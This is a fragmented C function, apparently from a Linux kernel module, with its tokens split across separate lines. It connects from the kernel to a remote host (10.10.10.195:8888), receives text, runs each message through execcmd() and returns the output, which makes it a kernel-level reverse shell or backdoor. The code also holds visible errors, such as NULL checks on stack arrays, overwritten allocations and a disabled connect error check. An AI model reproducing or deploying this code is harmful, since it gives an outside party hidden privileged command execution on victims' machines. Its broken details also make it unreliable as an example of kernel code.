static
int
myserver(void
*
data){
struct socket
*
sock,
*
client_sock;
struct sockaddr_in s_addr;
unsigned short portnum
=
8888
;
int
ret
=
0
;
char recvbuf[
1024
];
char sendbuf[
4096
];
char
*
result;
struct msghdr recvmsg,sendmsg;
struct kvec send_vec,recv_vec;
/
/
sendbuf
=
kmalloc(
1024
,GFP_KERNEL);
if
(sendbuf
=
=
NULL) {
printk(KERN_INFO
"[SockTest]: sendbuf kmalloc failed!\n"
);
return
-
1
;
}
/
/
recvbuf
=
kmalloc(
1024
,GFP_KERNEL);
if
(recvbuf
=
=
NULL) {
printk(KERN_INFO
"[SockTest]: recvbuf kmalloc failed!\n"
);
return
-
1
;
}
memset(&s_addr,
0
,sizeof(s_addr));
s_addr.sin_family
=
AF_INET;
s_addr.sin_port
=
htons(portnum);
s_addr.sin_addr.s_addr
=
in_aton(
"10.10.10.195"
);
sock
=
(struct socket
*
)kmalloc(sizeof(struct socket),GFP_KERNEL);
client_sock
=
(struct socket
*
)kmalloc(sizeof(struct socket),GFP_KERNEL);
/
*
create a socket
*
/
ret
=
sock_create_kern(&init_net,AF_INET, SOCK_STREAM,
0
,&sock);
if
(ret <
0
){
printk(
"[SockTest]:socket_create_kern error!\n"
);
return
-
1
;
}
printk(
"[SockTest]:socket_create_kern ok!\n"
);
/
*
connect the socket
*
/
ret
=
sock
-
>ops
-
>connect(sock,(struct sockaddr
*
)&s_addr,sizeof(s_addr),
0
);
printk(KERN_INFO
"[SockTest]: connect ret = %d\n"
,ret);
/
*
if
(ret !
=
0
){
printk(
"[SockTest]: connect error\n"
);
return
ret;
}
*
/
printk(
"[SockTest]:connect ok!\n"
);
memset(sendbuf,
0
,
1024
);
strcpy(sendbuf,
"test"
);
memset(&sendmsg,
0
,sizeof(sendmsg));
memset(&send_vec,
0
,sizeof(send_vec));
send_vec.iov_base
=
sendbuf;
send_vec.iov_len
=
4096
;
/
*
send
*
/
ret
=
kernel_sendmsg(sock,&sendmsg,&send_vec,
1
,
4
);
printk(KERN_INFO
"[SockTest]: kernel_sendmsg ret = %d\n"
,ret);
if
(ret <
0
) {
printk(KERN_INFO
"[SockTest]: kernel_sendmsg failed!\n"
);
return
ret;
}
printk(KERN_INFO
"[SockTest]: send ok!\n"
);
memset(&recv_vec,
0
,sizeof(recv_vec));
memset(&recvmsg,
0
,sizeof(recvmsg));
recv_vec.iov_base
=
recvbuf;
recv_vec.iov_len
=
1024
;
/
*
kmalloc a receive
buffer
*
/
while
(true) {
memset(recvbuf,
0
,
1024
);
ret
=
kernel_recvmsg(sock,&recvmsg,&recv_vec,
1
,
1024
,
0
);
printk(KERN_INFO
"[SockTest]: received message: %s\n"
,recvbuf);
if
(!strcmp(
"exit"
,recvbuf)) {
break
;
}
printk(KERN_INFO
"[SockTest]: %ld\n"
,strlen(recvbuf));
result
=
execcmd(recvbuf);
memset(sendbuf,
0
,
4096
);
strncpy(sendbuf,result,
4096
);
ret
=
kernel_sendmsg(sock,&sendmsg,&send_vec,
1
,strlen(sendbuf));
}
kernel_sock_shutdown(sock,SHUT_RDWR);
sock_release(sock);
printk(KERN_INFO
"[SockTest]: socket exit\n"
);
return
0
;
}